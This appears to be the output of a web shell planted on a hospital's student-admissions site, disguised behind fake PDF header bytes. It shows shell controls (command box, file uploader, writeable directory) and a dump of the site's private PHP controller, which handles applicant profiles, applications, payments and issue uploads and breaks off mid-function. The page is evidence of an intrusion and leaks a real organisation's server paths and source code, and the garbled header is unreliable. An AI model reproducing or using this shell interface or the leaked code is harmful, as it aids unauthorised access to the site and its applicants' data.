%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/student-panel/api/application/controllers_old/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/student-panel/api/application/controllers_old/User.php
<?php
class User extends MY_Controller {
    function __construct() {
        parent::__construct();
		not_logged_res();
		$this->load->model("user_model", "user");
    }
	
	function initProfile(){
		$data['dtl']=$this->user->detail();
		$data['states']=$this->common->states();
		$this->json_data($data);
	}

	function updateProfile(){
		$post=trim_array($this->input->post());
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post['id']=USER_ID;
		$this->form_validation->set_rules('name', 'Name', "required|callback_check_valid_name", $this->req);
		$this->form_validation->set_rules('mob2', 'Mobile', "integer|exact_length[10]", $this->req);
		$this->form_validation->set_rules('address', 'Address', 'required', $this->req);
		$this->form_validation->set_rules('state_id', 'State', 'required', $this->req);
		$this->form_validation->set_rules('city_id', 'City', 'required', $this->req);
		if($post['city_id']==-1){
			$this->form_validation->set_rules('city', 'Other city name', 'required', $this->req);
		}else if($post['city_id']){
			$post['city']=$this->db->get_where("master_cities", array('id'=>$post['city_id']))->row()->title;
		}
		$this->form_validation->set_rules('pincode', 'Pincode', "required|integer|exact_length[6]", $this->req);
		
		if($post['identity_proof']){
			$this->form_validation->set_rules('identity_proof_no', 'Identity proof number', 'required', $this->req);
		}else{
			$post['identity_proof_no']='';
		}
		
		$inf['success']='F';
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'name', 'mob2', 'address', 'state_id', 'city_id', 'city', 'pincode', 'identity_proof', 'identity_proof_no'));
			if($id=$this->common->save($data, "applicants")){
				$inf['id']=$id;
				$inf['success']='T';
				$inf['msg']='Profile updated successfully';
			}
		}
		$this->json_data($inf);
	}

	function uploadProfilePic(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		if($_FILES['profile_pic']['name'] && check_image_ext($_FILES['profile_pic']['name'])){
			$this->load->library('Image');
			$oldimg=$this->db->select("profile_pic")->get_where("applicants", array('id'=>USER_ID))->row()->profile_pic;
			$filename=append_to_filename($_FILES['profile_pic']['name'], time());
			if($this->image->resize($_FILES['profile_pic']['tmp_name'], UP_PATHF.'profile_pics/'.$filename, 600)){
				if($oldimg){
					del_file(UP_PATHF.'profile_pics/'.$oldimg);
				}
				$d=array('id'=>USER_ID, 'profile_pic'=>$filename);
				$this->common->save($d, "applicants");
				$inf['success']='T';
				$inf['msg']="Profile pic uploaded";
				$inf['profilePicUrl']=UP_URLF.'profile_pics/'.$d['profile_pic'];
			}
		}else{
			$inf['msg']="Please upload only .jpp or .png file!";
		}
		$this->json_data($inf);
	}

	function dob_validation($v){
		if (strtotime($v) > strtotime("-10 years", time())){
			$this->form_validation->set_message("dob_validation", "DOB must be before 10 years");
			return FALSE;
		}else{
			return TRUE;
		}
	}
	function diploma_12_req($v){
		$post=trim_array($this->input->post());
		if(!$post['board_id_12th']){
			$dip_12th=strpos($this->input->post('status_12th_dip'),'12th')!==FALSE?'12th':'Diploma';
			$this->form_validation->set_message("diploma_12_req", "$dip_12th details required");
			return FALSE;
		}
		/*if(!$post['board_id_12th'] && !$post['board_id_dip']){
			$this->form_validation->set_message("diploma_12_req", "Diploma or 12th details required");
			return FALSE;
		}
		if($post['board_id_12th'] && $post['board_id_dip']){
			$this->form_validation->set_message("diploma_12_req", "Only one (Either Diploma or 12th) details required");
			return FALSE;
		}*/
		return TRUE;
	}
	function check_valid_name($str){
		if(!$str){
			return true;
		}
		$is_only_alpha=( ! preg_match("/^([-a-z_ ])+$/i", $str)) ? FALSE : TRUE ;
		if(!$is_only_alpha){
			$this->form_validation->set_message("check_valid_name", "Only alphabet and space are allowed in %s");
		}
		return $is_only_alpha;
	}
	function pg_yr_validation($str){
		$post=trim_array($this->input->post());
		$pg_yr=(int)$post['passing_year_pg'];
		$ug_yr=(int)$post['passing_year_ug'];
		if($pg_yr && $pg_yr <= $ug_yr){
			$this->form_validation->set_message("pg_yr_validation", "%s must be greater then undergrduate");
			return FALSE;
		}
		return TRUE;
	}
	function ug_yr_validation($str){
		$post=trim_array($this->input->post());
		$ug_yr=(int)$post['passing_year_ug'];
		$inter_yr=(int)$post['passing_year_12th'];
		if($ug_yr && $ug_yr <= $inter_yr){
			$this->form_validation->set_message("ug_yr_validation", "%s must be greater then 12th passing year");
			return FALSE;
		}
		return TRUE;
	}
	function twelth_yr_validation($str){
		$post=trim_array($this->input->post());
		$inter_yr=(int)$post['passing_year_12th'];
		$tenth_yr=(int)$post['passing_year_10th'];
		if($inter_yr && $inter_yr <= $tenth_yr){
			$this->form_validation->set_message("twelth_yr_validation", "%s must be greater then 10th passing year");
			return FALSE;
		}
		return TRUE;
	}
	function dip_yr_validation($str){
		$post=trim_array($this->input->post());
		$dip_yr=(int)$post['passing_year_dip'];
		$tenth_yr=(int)$post['passing_year_10th'];
		if($dip_yr && $dip_yr <= $tenth_yr){
			$this->form_validation->set_message("dip_yr_validation", "%s must be greater then 10th passing year");
			return FALSE;
		}
		return TRUE;
	}

	function updateApplicationDtl(){
		$post=trim_array($this->input->post());
		$inf=array('success'=>'F', 'msg'=>'Error!');
		if(!$post['id']){
			$inf['msg']="Invalid Data"; $this->json_data($inf);
		}
		if($this->db->get_where("applications", array('id'=>$post['id']))->row()->applicant_id!=USER_ID){
			$inf['msg']="Invalid Data"; $this->json_data($inf);
		}
		$dtl=$this->user->detail();

		//$this->form_validation->set_rules('ac_id', 'Academic career', "required", $this->req);
		$this->form_validation->set_rules('program_id', 'Program', "required", $this->req);
		$this->form_validation->set_rules('plan_id', 'Specialization', "required", $this->req);

		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$post['ac_id']=$this->db->get_where("master_programs", array('id'=>$post['program_id']))->row()->ac_id;
			if(!$post['ac_id']){
				$inf['msg']="Invalid Data"; $this->json_data($inf);
			}
			$data=filter_value($post, array('id', 'ac_id', 'program_id', 'plan_id'));
			if($this->common->save($data, "applications")){
				/** Medical */
				if(isset($post['neet_roll_no'])){
					$data=filter_value($post, array('neet_roll_no', 'neet_marks', 'neet_all_india_rank'));
					$data['id']=USER_ID;

					if(!empty($_FILES['neet_scorecard_file']['name'])){
						$this->load->library('upload');
						$config=array(
							'upload_path'=>UP_PATHF.'scorecards/', 
							'allowed_types'=>'gif|jpg|png|pdf|doc|xls|ppt|docx|xlsx|pptx', 
							'max_size'=>'2048',
							'max_filename'=>80,
							'file_ext_tolower'=>true,
						);
						$this->upload->initialize($config);
						if($this->upload->do_upload('neet_scorecard_file')){
							$data['neet_scorecard_file']=$this->upload->data('file_name');
							if($dtl['neet_scorecard_file']){
								del_file(UP_PATHF.'scorecards/'.$dtl['neet_scorecard_file']);
							}
						}else{
							$inf['msg']=strip_tags($this->upload->display_errors());
							$this->json_data($inf);
						}
					}
					$this->common->save($data, "applicants");

					$inf['dtl']=$this->user->detail();
				}
				/**\ */

				$inf['appDtl']=$this->user->applicationDtl($post['id']);
				$inf['acDtl']=$this->common->acDtl($post['ac_id']);
				$inf['success']='T';
				$inf['msg']='Application details updated successfully';
			}
		}

		$this->json_data($inf);
	}

	function updatePersonalNdEduDtl(){
		$post=trim_array($this->input->post());
		$inf=array('success'=>'F', 'msg'=>'Error!');
		if(!$post['id']){
			$inf['msg']="Invalid Data"; $this->json_data($inf);
		}
		$appDtl=$this->db->get_where("applications", array('id'=>$post['id']))->row_array();
		if($appDtl['applicant_id']!=USER_ID){
			$inf['msg']="Invalid Data"; $this->json_data($inf);
		}
		$acDtl=$this->common->acDtl($appDtl['ac_id']);

		$this->form_validation->set_rules('father_name', 'Father name', "required|callback_check_valid_name", $this->req);
		$this->form_validation->set_rules('dob', 'Date of Birth', "required|callback_valid_date|callback_dob_validation", $this->req);
		$this->form_validation->set_rules('gender', 'Gender', "required", $this->req);
		$this->form_validation->set_rules('state_id', 'State', "required", $this->req);
		$this->form_validation->set_rules('city_id', 'City', "required", $this->req);
		if($post['city_id']==-1){
			$this->form_validation->set_rules('city', 'Other city name', 'required', $this->req);
		}else if($post['city_id']){
			$post['city']=$this->db->get_where("master_cities", array('id'=>$post['city_id']))->row()->title;
		}
		$this->form_validation->set_rules('address', 'Address', "required", $this->req);
		$this->form_validation->set_rules('pincode', 'Pincode', "required|integer|exact_length[6]", $this->req);
		$this->form_validation->set_rules('cat_id', 'Category', "required", $this->req);
		$this->form_validation->set_rules('religion_id', 'Religion', "required", $this->req);

		/** Education Validation */
		if($acDtl['req_10th']){
			$this->form_validation->set_rules('board_id_10th', 'Board of 10th', "required", $this->req);
			if($post['board_id_10th']==-1){
				$this->form_validation->set_rules('board_10th', 'Other board name of 10th', 'required', $this->req);
			}else if($post['board_id_10th']){
				$post['board_10th']=$this->db->get_where("master_edu_boards", array('id'=>$post['board_id_10th']))->row()->title;
			}
			$this->form_validation->set_rules('marking_scheme_id_10th', 'Marking scheme of 10th', "required", $this->req);

			if($post['status_10th']){
				$this->form_validation->set_rules('marks_10th', 'Marks of 10th', "required", $this->req);
				$this->form_validation->set_rules('passing_year_10th', 'Passing year of 10th', "required", $this->req);
			}else{
				$post['marks_10th']=$post['passing_year_10th']='';
			}
		}else{
			$post['status_10th']=$post['board_id_10th']=$post['board_10th']=$post['marking_scheme_id_10th']=$post['marks_10th']=$post['passing_year_10th']='';
		}

		if($acDtl['req_12th']){
			$this->form_validation->set_rules('diploma_12_req', '', "callback_diploma_12_req", $this->req);
			$dip_12th=strpos($post['status_12th_dip'],'12th')!==FALSE?'12th':'diploma';
			$dip_12th_status=str_replace(['12th', 'dip'], ['', ''], $post['status_12th_dip']);
			$this->form_validation->set_rules('board_id_12th', "Board of $dip_12th", "required", $this->req);
			if($post['board_id_12th']==-1){
				$this->form_validation->set_rules('board_12th', "Other board name of $dip_12th", 'required', $this->req);
			}else if($post['board_id_12th']){
				$post['board_12th']=$this->db->get_where("master_edu_boards", array('id'=>$post['board_id_12th']))->row()->title;
			}
			$this->form_validation->set_rules('marking_scheme_id_12th', "Marking scheme of $dip_12th", "required", $this->req);

			if($dip_12th_status){
				$this->form_validation->set_rules('marks_12th', "Marks of $dip_12th", "required", $this->req);
				$this->form_validation->set_rules('passing_year_12th', "Passing year of $dip_12th", "required|callback_twelth_yr_validation", $this->req);
			}else{
				$post['marks_12th']=$post['passing_year_12th']='';
			}
			if($dip_12th=='12th'){
				$post['status_12th']=$dip_12th_status;
				$post['status_dip']=$post['board_id_dip']=$post['board_dip']=$post['marking_scheme_id_dip']=$post['marks_dip']=$post['passing_year_dip']='';
			}else{
				$post['status_dip']=$dip_12th_status;
				$post['board_id_dip']=$post['board_id_12th'];
				$post['board_dip']=$post['board_12th'];
				$post['marking_scheme_id_dip']=$post['marking_scheme_id_12th'];
				$post['marks_dip']=$post['marks_12th'];
				$post['passing_year_dip']=$post['passing_year_12th'];
				$post['status_12th']=$post['board_id_12th']=$post['board_12th']=$post['marking_scheme_id_12th']=$post['marks_12th']=$post['passing_year_12th']='';
			}
		}else{
			$post['status_12th']=$post['board_id_12th']=$post['board_12th']=$post['marking_scheme_id_12th']=$post['marks_12th']=$post['passing_year_12th']='';
			$post['status_dip']=$post['board_id_dip']=$post['board_dip']=$post['marking_scheme_id_dip']=$post['marks_dip']=$post['passing_year_dip']='';
		}

		if($acDtl['req_ug']){
			$this->form_validation->set_rules('university_id_ug', 'University of graduation', "required", $this->req);
			if($post['university_id_ug']==-1){
				$this->form_validation->set_rules('university_ug', 'Other university name of graduation', 'required', $this->req);
			}else if($post['university_id_ug']){
				$post['university_ug']=$this->db->get_where("master_universities", array('id'=>$post['university_id_ug']))->row()->title;
			}
			$this->form_validation->set_rules('marking_scheme_id_ug', 'Marking scheme of graduation', "required", $this->req);

			if($post['status_ug']){
				$this->form_validation->set_rules('marks_ug', 'Marks of graduation', "required", $this->req);
				$this->form_validation->set_rules('passing_year_ug', 'Passing year of graduation', "required|callback_ug_yr_validation", $this->req);
			}else{
				$post['marks_ug']=$post['passing_year_ug']='';
			}
		}else{
			$post['status_ug']=$post['university_id_ug']=$post['university_ug']=$post['marking_scheme_id_ug']=$post['marks_ug']=$post['passing_year_ug']='';
		}

		if($acDtl['req_pg']){
			$this->form_validation->set_rules('university_id_pg', 'University of post graduation', "required", $this->req);
			if($post['university_id_pg']==-1){
				$this->form_validation->set_rules('university_pg', 'Other university name of post graduation', 'required', $this->req);
			}else if($post['university_id_pg']){
				$post['university_pg']=$this->db->get_where("master_universities", array('id'=>$post['university_id_pg']))->row()->title;
			}
			$this->form_validation->set_rules('marking_scheme_id_pg', 'Marking scheme of post graduation', "required", $this->req);

			if($post['status_pg']){
				$this->form_validation->set_rules('marks_pg', 'Marks of post graduation', "required", $this->req);
				$this->form_validation->set_rules('passing_year_pg', 'Passing year of post graduation', "required|callback_pg_yr_validation", $this->req);
			}else{
				$post['marks_pg']=$post['passing_year_pg']='';
			}
		}else{
			$post['status_pg']=$post['university_id_pg']=$post['university_pg']=$post['marking_scheme_id_pg']=$post['marks_pg']=$post['passing_year_pg']='';
		}
		/** \ */

		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$post['dob']=to_date_format($post['dob']);
			$data['dtl']=filter_value($post, array('father_name', 'dob', 'gender', 'state_id', 'city_id', 'city', 'address', 'pincode', 'cat_id', 'religion_id'));
			$data['eduDtl']=filter_value($post, array('status_10th', 'board_id_10th', 'board_10th', 'marking_scheme_id_10th', 'marks_10th', 'passing_year_10th', 
													  'status_12th', 'board_id_12th', 'board_12th', 'marking_scheme_id_12th', 'marks_12th', 'passing_year_12th',
													  'status_dip', 'board_id_dip', 'board_dip', 'marking_scheme_id_dip', 'marks_dip', 'passing_year_dip',
													  'status_ug', 'university_id_ug', 'university_ug', 'marking_scheme_id_ug', 'marks_ug', 'passing_year_ug',
													  'status_pg', 'university_id_pg', 'university_pg', 'marking_scheme_id_pg', 'marks_pg', 'passing_year_pg'));
			

			$data['application_id']=$post['id'];
			if($this->user->updatePersonalNdEduDtl($data)){
				$inf['appDtl']=$this->user->applicationDtl($post['id']);
				$inf['success']='T';
				$inf['msg']='Personal/Educational details updated successfully';
			}
		}

		$this->json_data($inf);
	}

	function proceedPayment(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$appDtl=$this->user->applicationDtl($post['app_id']);
		if($appDtl['applicant_id']!=USER_ID){
			$inf['msg']="Invalid Data"; $this->json_data($inf);
		}
		if($appDtl['step_completed']==1){
			$inf['msg']="You have not completed step 2"; $this->json_data($inf);
		}
		if($appDtl['step_completed']==3){
			$inf['msg']="You have already completed the payment"; $this->json_data($inf);
		}

		$program_status=(int)$this->db->select("status")->get_where("master_programs", ['id'=>$appDtl['program_id']])->row()->status;
		if(!$program_status){
			$inf['msg']="Your applied program '{$appDtl['program']}' is now not active. Please change your program."; $this->json_data($inf);
		}
		$plan_status=(int)$this->db->select("status")->get_where("master_program_plans", ['id'=>$appDtl['plan_id']])->row()->status;
		if(!$plan_status){
			$inf['msg']="Your applied specialization '{$appDtl['plan']}' is now not active. Please change your specialization."; $this->json_data($inf);
		}

		if($post['coupan_id']){
			$coupanDtl=$this->db->select("title, amt")->get_where("master_coupans", array('id'=>$post['coupan_id']))->row_array();
			if(!$coupanDtl){
				$inf['msg']="Invalid Offer"; $this->json_data($inf);
			}
		}

		$inf['payTMUrl']=URL.'pay/load_paytm_form/'.$post['app_id'].'/'.$post['coupan_id'];
		$inf['success']='T';
		$inf['msg']="Success";
		$this->json_data($inf);
	}

	function submitApplication(){
		$post=trim_array($this->input->post());
		$inf=array('success'=>'F', 'msg'=>'Error!');
		if(!$post['plan_id']){
			$inf['msg']="Invalid Data"; $this->json_data($inf);
		}
		$appDtl=$this->user->applyingPlanDtl($post['plan_id']);
		if(!$appDtl){
			$inf['msg']="Invalid Data"; $this->json_data($inf);
		}
		if($appDtl['id'] && $appDtl['applicant_id']!=USER_ID){
			$inf['msg']="Invalid Data"; $this->json_data($inf);
		}

		$program_status=(int)$this->db->select("status")->get_where("master_programs", ['id'=>$appDtl['program_id']])->row()->status;
		if(!$program_status){
			$inf['msg']="Your applied program '{$appDtl['program']}' is now not active. Please change your program."; $this->json_data($inf);
		}
		$plan_status=(int)$this->db->select("status")->get_where("master_program_plans", ['id'=>$appDtl['plan_id']])->row()->status;
		if(!$plan_status){
			$inf['msg']="Your applied specialization '{$appDtl['plan']}' is now not active. Please change your specialization."; $this->json_data($inf);
		}

		if($post['coupan_id']){
			$coupanDtl=$this->db->select("id")->get_where("master_coupans", array('id'=>$post['coupan_id']))->row_array();
			if(!$coupanDtl){
				$inf['msg']="Invalid Offer"; $this->json_data($inf);
			}
		}
		$acDtl=$this->common->acDtl($appDtl['ac_id']);

		$this->form_validation->set_rules('plan_id', 'Plan', "required", $this->req);
		if($appDtl['step_completed']<3){
			$this->form_validation->set_rules('father_name', 'Father name', "required|callback_check_valid_name", $this->req);
			$this->form_validation->set_rules('dob', 'Date of Birth', "required|callback_valid_date|callback_dob_validation", $this->req);
			$this->form_validation->set_rules('gender', 'Gender', "required", $this->req);
			$this->form_validation->set_rules('state_id', 'State', "required", $this->req);
			$this->form_validation->set_rules('city_id', 'City', "required", $this->req);
			if($post['city_id']==-1){
				$this->form_validation->set_rules('city', 'Other city name', 'required', $this->req);
			}else if($post['city_id']){
				$post['city']=$this->db->get_where("master_cities", array('id'=>$post['city_id']))->row()->title;
			}
			$this->form_validation->set_rules('address', 'Address', "required", $this->req);
			$this->form_validation->set_rules('pincode', 'Pincode', "required|integer|exact_length[6]", $this->req);
			$this->form_validation->set_rules('cat_id', 'Category', "required", $this->req);
			$this->form_validation->set_rules('religion_id', 'Religion', "required", $this->req);

			/** Education Validation */
			if($acDtl['req_10th']){
				$this->form_validation->set_rules('board_id_10th', 'Board of 10th', "required", $this->req);
				if($post['board_id_10th']==-1){
					$this->form_validation->set_rules('board_10th', 'Other board name of 10th', 'required', $this->req);
				}else if($post['board_id_10th']){
					$post['board_10th']=$this->db->get_where("master_edu_boards", array('id'=>$post['board_id_10th']))->row()->title;
				}
				$this->form_validation->set_rules('marking_scheme_id_10th', 'Marking scheme of 10th', "required", $this->req);

				if($post['status_10th']){
					$this->form_validation->set_rules('marks_10th', 'Marks of 10th', "required", $this->req);
					$this->form_validation->set_rules('passing_year_10th', 'Passing year of 10th', "required", $this->req);
				}else{
					$post['marks_10th']=$post['passing_year_10th']='';
				}
			}else{
				$post['status_10th']=$post['board_id_10th']=$post['board_10th']=$post['marking_scheme_id_10th']=$post['marks_10th']=$post['passing_year_10th']='';
			}

			if($acDtl['req_12th']){
				$this->form_validation->set_rules('diploma_12_req', '', "callback_diploma_12_req", $this->req);
				$dip_12th=strpos($post['status_12th_dip'],'12th')!==FALSE?'12th':'diploma';
				$dip_12th_status=str_replace(['12th', 'dip'], ['', ''], $post['status_12th_dip']);
				$this->form_validation->set_rules('board_id_12th', "Board of $dip_12th", "required", $this->req);
				if($post['board_id_12th']==-1){
					$this->form_validation->set_rules('board_12th', "Other board name of $dip_12th", 'required', $this->req);
				}else if($post['board_id_12th']){
					$post['board_12th']=$this->db->get_where("master_edu_boards", array('id'=>$post['board_id_12th']))->row()->title;
				}
				$this->form_validation->set_rules('marking_scheme_id_12th', "Marking scheme of $dip_12th", "required", $this->req);

				if($dip_12th_status){
					$this->form_validation->set_rules('marks_12th', "Marks of $dip_12th", "required", $this->req);
					$this->form_validation->set_rules('passing_year_12th', "Passing year of $dip_12th", "required|callback_twelth_yr_validation", $this->req);
				}else{
					$post['marks_12th']=$post['passing_year_12th']='';
				}
				if($dip_12th=='12th'){
					$post['status_12th']=$dip_12th_status;
					$post['status_dip']=$post['board_id_dip']=$post['board_dip']=$post['marking_scheme_id_dip']=$post['marks_dip']=$post['passing_year_dip']='';
				}else{
					$post['status_dip']=$dip_12th_status;
					$post['board_id_dip']=$post['board_id_12th'];
					$post['board_dip']=$post['board_12th'];
					$post['marking_scheme_id_dip']=$post['marking_scheme_id_12th'];
					$post['marks_dip']=$post['marks_12th'];
					$post['passing_year_dip']=$post['passing_year_12th'];
					$post['status_12th']=$post['board_id_12th']=$post['board_12th']=$post['marking_scheme_id_12th']=$post['marks_12th']=$post['passing_year_12th']='';
				}
			}else{
				$post['status_12th']=$post['board_id_12th']=$post['board_12th']=$post['marking_scheme_id_12th']=$post['marks_12th']=$post['passing_year_12th']='';
				$post['status_dip']=$post['board_id_dip']=$post['board_dip']=$post['marking_scheme_id_dip']=$post['marks_dip']=$post['passing_year_dip']='';
			}

			if($acDtl['req_ug']){
				$this->form_validation->set_rules('university_id_ug', 'University of graduation', "required", $this->req);
				if($post['university_id_ug']==-1){
					$this->form_validation->set_rules('university_ug', 'Other university name of graduation', 'required', $this->req);
				}else if($post['university_id_ug']){
					$post['university_ug']=$this->db->get_where("master_universities", array('id'=>$post['university_id_ug']))->row()->title;
				}
				$this->form_validation->set_rules('marking_scheme_id_ug', 'Marking scheme of graduation', "required", $this->req);

				if($post['status_ug']){
					$this->form_validation->set_rules('marks_ug', 'Marks of graduation', "required", $this->req);
					$this->form_validation->set_rules('passing_year_ug', 'Passing year of graduation', "required|callback_ug_yr_validation", $this->req);
				}else{
					$post['marks_ug']=$post['passing_year_ug']='';
				}
			}else{
				$post['status_ug']=$post['university_id_ug']=$post['university_ug']=$post['marking_scheme_id_ug']=$post['marks_ug']=$post['passing_year_ug']='';
			}

			if($acDtl['req_pg']){
				$this->form_validation->set_rules('university_id_pg', 'University of post graduation', "required", $this->req);
				if($post['university_id_pg']==-1){
					$this->form_validation->set_rules('university_pg', 'Other university name of post graduation', 'required', $this->req);
				}else if($post['university_id_pg']){
					$post['university_pg']=$this->db->get_where("master_universities", array('id'=>$post['university_id_pg']))->row()->title;
				}
				$this->form_validation->set_rules('marking_scheme_id_pg', 'Marking scheme of post graduation', "required", $this->req);

				if($post['status_pg']){
					$this->form_validation->set_rules('marks_pg', 'Marks of post graduation', "required", $this->req);
					$this->form_validation->set_rules('passing_year_pg', 'Passing year of post graduation', "required|callback_pg_yr_validation", $this->req);
				}else{
					$post['marks_pg']=$post['passing_year_pg']='';
				}
			}else{
				$post['status_pg']=$post['university_id_pg']=$post['university_pg']=$post['marking_scheme_id_pg']=$post['marks_pg']=$post['passing_year_pg']='';
			}
			/** \ */
		}

		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$post['dob']=to_date_format($post['dob']);
			$data['dtl']=filter_value($post, array('father_name', 'dob', 'gender', 'state_id', 'city_id', 'city', 'address', 'pincode', 'cat_id', 'religion_id'));
			$data['eduDtl']=filter_value($post, array('status_10th', 'board_id_10th', 'board_10th', 'marking_scheme_id_10th', 'marks_10th', 'passing_year_10th', 
													  'status_12th', 'board_id_12th', 'board_12th', 'marking_scheme_id_12th', 'marks_12th', 'passing_year_12th',
													  'status_dip', 'board_id_dip', 'board_dip', 'marking_scheme_id_dip', 'marks_dip', 'passing_year_dip',
													  'status_ug', 'university_id_ug', 'university_ug', 'marking_scheme_id_ug', 'marks_ug', 'passing_year_ug',
													  'status_pg', 'university_id_pg', 'university_pg', 'marking_scheme_id_pg', 'marks_pg', 'passing_year_pg'));
			

			if($app_id=$this->user->submitApplication($data, $appDtl)){
				/** Medical */
				if(isset($post['neet_roll_no'])){
					$dtl=$this->user->detail();
					$data=filter_value($post, array('neet_roll_no', 'neet_marks', 'neet_all_india_rank'));
					$data['id']=USER_ID;

					if(!empty($_FILES['neet_scorecard_file']['name'])){
						$this->load->library('upload');
						$config=array(
							'upload_path'=>UP_PATHF.'scorecards/', 
							'allowed_types'=>'gif|jpg|png|pdf|doc|xls|ppt|docx|xlsx|pptx', 
							'max_size'=>'2048',
							'max_filename'=>80,
							'file_ext_tolower'=>true,
						);
						$this->upload->initialize($config);
						if($this->upload->do_upload('neet_scorecard_file')){
							$data['neet_scorecard_file']=$this->upload->data('file_name');
							if($dtl['neet_scorecard_file']){
								del_file(UP_PATHF.'scorecards/'.$dtl['neet_scorecard_file']);
							}
						}else{
							$inf['msg']=strip_tags($this->upload->display_errors());
							$this->json_data($inf);
						}
					}
					$this->common->save($data, "applicants");
				}
				/**\ */

				$inf['payTMUrl']=URL.'pay/load_paytm_form/'.$app_id.'/'.$post['coupan_id'];
				$inf['success']='T';
				$inf['msg']='Application submitted successfully';
			}
		}

		$this->json_data($inf);
	}
	
	/** Init Application */
	function initApplication($id=0, $id_type=''){
		$data['aomcode']='';
		if($id && $id_type){
			if($id_type!='Plan' && $id_type!='App'){
				$this->json_data(array('success'=>'F', 'msg'=>'Invalid Data!'));
			}
			if($id_type=='App'){
				$data['appDtl']=$this->user->applicationDtl($id);
			}else{
				$data['appDtl']=$this->user->applyingPlanDtl($id);
			}
		}else{
			$data['appDtl']=$this->user->applicationDtl();
			$data['aomcode']=$this->load->view("lpage/aom_reg_page", array('system_id'=>$data['appDtl']['application_no']), TRUE);
		}
		
		$data['dtl']=$this->user->detail();
		if(!$data['dtl'] || !$data['appDtl']){
			$this->json_data(array('success'=>'F', 'msg'=>'Invalid Data!'));
		}
		$data['eduDtl']=$this->user->eduDetail(true);
		$data['acDtl']=$this->common->acDtl($data['appDtl']['ac_id']);
		
		$data['applicantCats']=$this->common->applicantCats();
		$data['religions']=$this->common->religions();
		$data['boards']=$this->common->boards();
		$data['universities']=$this->common->universities();
		$data['markingSchemes']=$this->common->markingSchemes();

		$data['states']=$this->common->states();
        $data['academicCareers']=$this->common->academicCareers();
        
        $is_medical=$this->db->select("is_medical")->where('mob', $mob)->get("applicants")->row()->is_medical;
		$data['programs']=$this->common->programs($data['appDtl']['ac_id'], '', $is_medical);
		$data['plans']=$this->common->plans($data['appDtl']['program_id']);

		$data['courses']=$this->common->courses();
		$data['allPlans']=$this->common->plans();
		$data['allCities']=$this->common->cities();

		$data['pyears']=[];
		for($i=date('Y')-70; $i<=date('Y')+1; $i++){
			$data['pyears'][]=$i;
		}

		$data['success']='T';
		$this->json_data($data);
    }
    

    function applicationNdUsrInfo($appId=0){
        $inf=array('success'=>false, 'msg'=>'Error!');
        if(!$appId){
            $appId=$this->db->select("id")->order_by("id")->limit(1)->get_where("applications", array('applicant_id'=>USER_ID))->row()->id;
        }
        $dtl=$this->common->applicationNdUsrInfo($appId);
        if($dtl){
            $inf['success']=true;
            $inf['msg']="Success";
            $inf['dtl']=$dtl;
        }
        $this->json_data($inf);
    }

	/** */
	function payTransDtl($id=''){
		$id=decode($id);
		$inf=array('success'=>'F', 'aomcode'=>'');
		$appId=$this->db->get_where("pay_trans", array('id'=>$id))->row()->application_id;
		$dtl=$this->common->applicationNdUsrInfo($appId);
		
		if($dtl && $dtl['applicant_id']==USER_ID){
			if($dtl['trans']['txn_status']=='TXN_SUCCESS'){
				$inf['aomcode']=$this->load->view("lpage/aom_paysuccess_page", array('system_id'=>$dtl['application_no']), TRUE);
			}
			$inf['success']='T';
			$inf['dtl']=$dtl;
		}
		$this->json_data($inf);
	}

	/** Report Issue */
	function initReportIssue(){
		$data['dtl']=$this->user->detail();
		$data['issueCats']=$this->user->issueCats();
		$data['reportedIssues']=$this->user->reportedIssues();

		$this->json_data($data);
	}

	function reportedIssueDetail($id){
		$data['dtl']=$this->user->reportedIssueDetail($id);
		$this->json_data($data);
	}

	function submitIssue(){
		$post=trim_array($this->input->post());
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$this->form_validation->set_rules('cat', 'Issue type', 'required', $this->req);
		$this->form_validation->set_rules('issue', 'Issue', "required", $this->req);
		$this->form_validation->set_rules('description', 'Issue Description', 'required', $this->req);
		
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('cat', 'issue', 'description'));
			$data['applicant_id']=USER_ID;
			if($_FILES['file']['name']){
				if(!check_image_ext($_FILES['file']['name']) && !check_doc_ext($_FILES['file']['name'])){
					$inf['msg']="Invalid file! It must be pdf, jpg, gif or png"; $this->json_data($inf);
				}
				$filename=append_to_filename($_FILES['file']['name'], time());
				if(move_uploaded_file($_FILES['file']['tmp_name'], UP_PATHF.'issues/'.$filename)){
					$data['file']=$filename;
				}
			}

			if($id=$this->common->save($data, "issues_reported")){
				$this->common->sendIssueGeneratedEmail($id);

				$inf['id']=$id;
				$inf['success']='T';
				$inf['msg']='Issue submitted successfully';
				$inf['reportedIssues']=$this->user->reportedIssues();
			}
		}
		$this->json_data($inf);
	}

	function addIssueComment(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$id=intval($this->input->post('id'));
